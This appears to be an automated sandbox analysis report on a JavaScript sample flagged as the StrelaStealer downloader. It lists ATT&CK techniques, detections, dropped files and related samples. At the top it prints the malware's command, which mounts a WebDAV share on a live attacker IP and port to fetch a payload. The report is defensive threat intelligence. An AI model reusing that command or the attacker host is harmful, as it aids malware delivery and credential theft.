Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
696568221068916474.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
696568221068916474.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tm	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/&	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3361878038.000001AC87A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2138029152.000001AC878D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/&	net.exe, 00000007.00000002.2136511114.000001EBAD47C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/F	net.exe, 00000007.00000002.2136511114.000001EBAD448000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2136511114.000001EBAD47C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2136511114.000001EBAD46D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2136511114.000001EBAD448000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2136511114.000001EBAD4A4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tm	net.exe, 00000007.00000002.2136511114.000001EBAD448000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588687
Start date and time:	2025-01-11 04:11:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	696568221068916474.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.12.23.50, 23.41.168.139, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:12:14	API Interceptor	21x Sleep call for process: powershell.exe modified
22:12:18	API Interceptor	1x Sleep call for process: net.exe modified
22:12:18	API Interceptor	2x Sleep call for process: svchost.exe modified
22:12:25	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22388142366532662.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1460324287242413198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307186732460025
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugs:gJjJGtpTq2yv1AuNZRY3diu8iBVqFW
MD5:	EBBCD06C7A9AF151EDB011BAD1256F6E
SHA1:	4AD33911670C8FA77CFAF86F1A526E74517A309F
SHA-256:	97F1A14E7B9E00DA9269E101BD2CEC3DC516E376B4942BA65DC7161E2C669D13
SHA-512:	16211441C14FD7827626EA4E6D82481CE037B3AFC14951F85565694F33ECABD8861EF129F7181BA2AE1A61D183CAD8A004DCA30C073030E1F99A2E452BB88A79
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x57337429, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585309966261873
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	F53DEA0C3FD9EDD2E087C8C717710B5F
SHA1:	2DEA91DFC26F09E4261785C7E71EFFF3EEA56467
SHA-256:	9D4E5EAB6AEAB3B55593B0B7142843C0A15BA53D58EE04624B468A1FCF8DFAB7
SHA-512:	744A7EDB84641788774C1453F53FF0C2C17FCE6E4D894D94499CF3FDBE283B64D6C7E33FFB53FF5E2913B8CCECFFA4074F23EB8510CA798996573DF14F7B50A2
Malicious:	false
Preview:	W3t)... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................d2......}...........................}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07911630011583928
Encrypted:	false
SSDEEP:	3:T8YeBFQAkGuAJkhvekl1kPukDlAllrekGltll/SPj:T8zBYrxl2PrDlAJe3l
MD5:	E1E85D519606FE423111A1292353411A
SHA1:	5937123792792C38BE41AA301C84E810F76AFEA7
SHA-256:	644177C1A0985E015528DD2AF2458F689DD742A6F050B2D963EC64AF37AA7083
SHA-512:	494439349DF11AB7853C3D3C8CF6098B661C884167ED4A74CB401B31508D747689EC902EF16A56798B5FB9978FBA61AF7E5A051ED117B27AE9E1A15123595297
Malicious:	false
Preview:	uX.......................................;...{.......}.......{...............{.......{...XL......{...........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.159397773844046
Encrypted:	false
SSDEEP:	6:iO4qX/Oq2P92nKuAl9OmbnIFUtSqXF9ZmwsqXrsFkwO92nKuAl9OmbjLJ:7NOv4HAahFUtJ9/tsF5LHAaSJ
MD5:	C208FA0AB176E3452FBC75F91DDEA1A2
SHA1:	D1CF3B8214AEC5368E0EAC1382015C5FF7CA41C9
SHA-256:	706320444B7FB133D811C1BE0A4A29CDD09E0E10B1311CBB35F838A37E34AF7B
SHA-512:	F700815508E7F9404CBE40B8316655A7A8E8AF403DE6B8B3C00BE0774B9EA864FDDAC42B9CACF8C1873771C85399746DF41D0F04B3EE5D0C3563877471DFE6EA
Malicious:	false
Preview:	2025/01/10-22:12:18.551 584 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:12:18.555 584 Recovering log #3.2025/01/10-22:12:18.556 584 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.159397773844046
Encrypted:	false
SSDEEP:	6:iO4qX/Oq2P92nKuAl9OmbnIFUtSqXF9ZmwsqXrsFkwO92nKuAl9OmbjLJ:7NOv4HAahFUtJ9/tsF5LHAaSJ
MD5:	C208FA0AB176E3452FBC75F91DDEA1A2
SHA1:	D1CF3B8214AEC5368E0EAC1382015C5FF7CA41C9
SHA-256:	706320444B7FB133D811C1BE0A4A29CDD09E0E10B1311CBB35F838A37E34AF7B
SHA-512:	F700815508E7F9404CBE40B8316655A7A8E8AF403DE6B8B3C00BE0774B9EA864FDDAC42B9CACF8C1873771C85399746DF41D0F04B3EE5D0C3563877471DFE6EA
Malicious:	false
Preview:	2025/01/10-22:12:18.551 584 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:12:18.555 584 Recovering log #3.2025/01/10-22:12:18.556 584 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.165460306939137
Encrypted:	false
SSDEEP:	6:iO4qXeq2P92nKuAl9Ombzo2jMGIFUtSqXSZmwsqXfHzkwO92nKuAl9Ombzo2jMmd:7Qv4HAa8uFUt+/pz5LHAa8RJ
MD5:	1D39DB2275D58C9BB77EEEA495304D8E
SHA1:	4C2747DA0BB7296EA68BE0E0D8F5CB740D6186F0
SHA-256:	D415D8E9AE12568B1C2DAE9B30438BFEF7EDC07839D4B36EFAE819139DBE48F2
SHA-512:	132869AF093B373F7092FA1152AD6BB419EFE768F16249C659AF8FC782FEF1552F88D24A3935D8B310809158220CAAAE7C4DDB83B5E12FD0CDBAE386444FD46C
Malicious:	false
Preview:	2025/01/10-22:12:18.647 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:12:18.648 1ca4 Recovering log #3.2025/01/10-22:12:18.649 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.165460306939137
Encrypted:	false
SSDEEP:	6:iO4qXeq2P92nKuAl9Ombzo2jMGIFUtSqXSZmwsqXfHzkwO92nKuAl9Ombzo2jMmd:7Qv4HAa8uFUt+/pz5LHAa8RJ
MD5:	1D39DB2275D58C9BB77EEEA495304D8E
SHA1:	4C2747DA0BB7296EA68BE0E0D8F5CB740D6186F0
SHA-256:	D415D8E9AE12568B1C2DAE9B30438BFEF7EDC07839D4B36EFAE819139DBE48F2
SHA-512:	132869AF093B373F7092FA1152AD6BB419EFE768F16249C659AF8FC782FEF1552F88D24A3935D8B310809158220CAAAE7C4DDB83B5E12FD0CDBAE386444FD46C
Malicious:	false
Preview:	2025/01/10-22:12:18.647 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:12:18.648 1ca4 Recovering log #3.2025/01/10-22:12:18.649 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.048630240289282
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqtKsBdOg2HoOcaq3QYiubxnP7E4T3OF+:Y2sRds6vdMHox3QYhbxP7nbI+
MD5:	6969F26C52661FB52E0929D8986BCD90
SHA1:	CB21F9D3402B220DF7433B7A637AA4EE2C6349AA
SHA-256:	71ACE1F786E024F259EDCCD408361E7E9C6A8F759DC3E9E7476203C30BB15C89
SHA-512:	636E3752E1E6742ED41D5578EB717E5198FA334B589D5A803CD49DB6E0563DE496CFCBFFE74A7FCAAEEE17BF8AB83C90FF12547342D5E0341EE61CBBC9D86838
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125150146467","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124543},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d740fd96-68ae-403b-af2c-69b5fa6db949.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.048630240289282
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqtKsBdOg2HoOcaq3QYiubxnP7E4T3OF+:Y2sRds6vdMHox3QYhbxP7nbI+
MD5:	6969F26C52661FB52E0929D8986BCD90
SHA1:	CB21F9D3402B220DF7433B7A637AA4EE2C6349AA
SHA-256:	71ACE1F786E024F259EDCCD408361E7E9C6A8F759DC3E9E7476203C30BB15C89
SHA-512:	636E3752E1E6742ED41D5578EB717E5198FA334B589D5A803CD49DB6E0563DE496CFCBFFE74A7FCAAEEE17BF8AB83C90FF12547342D5E0341EE61CBBC9D86838
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125150146467","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124543},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236231219903345
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUNWP4:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLO
MD5:	4CB0179B8BF3C257F6DEFBC0F03E21DD
SHA1:	EDAD1179E42E999EF6F1B1D99B9D75DE83C6E16E
SHA-256:	4F0D6715F823F3A7EF266D615C5FE57F39907C34CAE03B26F0EB7C39E586212E
SHA-512:	E0B579CFDD2D928C8635FE476E00A906196FFFA98F1A861DE4E6167A251628099741B6D6C0E7D53036362C78DFDFD6B741DB53E444F68F60FD27CF7EB4A0AB78
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.149119482445398
Encrypted:	false
SSDEEP:	6:iO4qXEq2P92nKuAl9OmbzNMxIFUtSqXnXZmwsqXnFkwO92nKuAl9OmbzNMFLJ:7Gv4HAa8jFUtb/L5LHAa84J
MD5:	17211763CC2C792C401751C086924684
SHA1:	F0DF74D3120FF621ABB981507F07FA479A304B55
SHA-256:	CC824B4269769F4FB29D5E60DA5CE6041D0C19A935FE2A0B3C8A6D2A98DE2C52
SHA-512:	9B87D2A094256FFD9F69543CF74AB41A672AE2FB71D4CBBF5FF3478F31087FE9BA1C0CD1C48552ED0FC371EF39AB7B453181FEF9303064E699D2858D393494C3
Malicious:	false
Preview:	2025/01/10-22:12:18.951 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:12:18.953 1ca4 Recovering log #3.2025/01/10-22:12:18.953 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.149119482445398
Encrypted:	false
SSDEEP:	6:iO4qXEq2P92nKuAl9OmbzNMxIFUtSqXnXZmwsqXnFkwO92nKuAl9OmbzNMFLJ:7Gv4HAa8jFUtb/L5LHAa84J
MD5:	17211763CC2C792C401751C086924684
SHA1:	F0DF74D3120FF621ABB981507F07FA479A304B55
SHA-256:	CC824B4269769F4FB29D5E60DA5CE6041D0C19A935FE2A0B3C8A6D2A98DE2C52
SHA-512:	9B87D2A094256FFD9F69543CF74AB41A672AE2FB71D4CBBF5FF3478F31087FE9BA1C0CD1C48552ED0FC371EF39AB7B453181FEF9303064E699D2858D393494C3
Malicious:	false
Preview:	2025/01/10-22:12:18.951 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:12:18.953 1ca4 Recovering log #3.2025/01/10-22:12:18.953 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
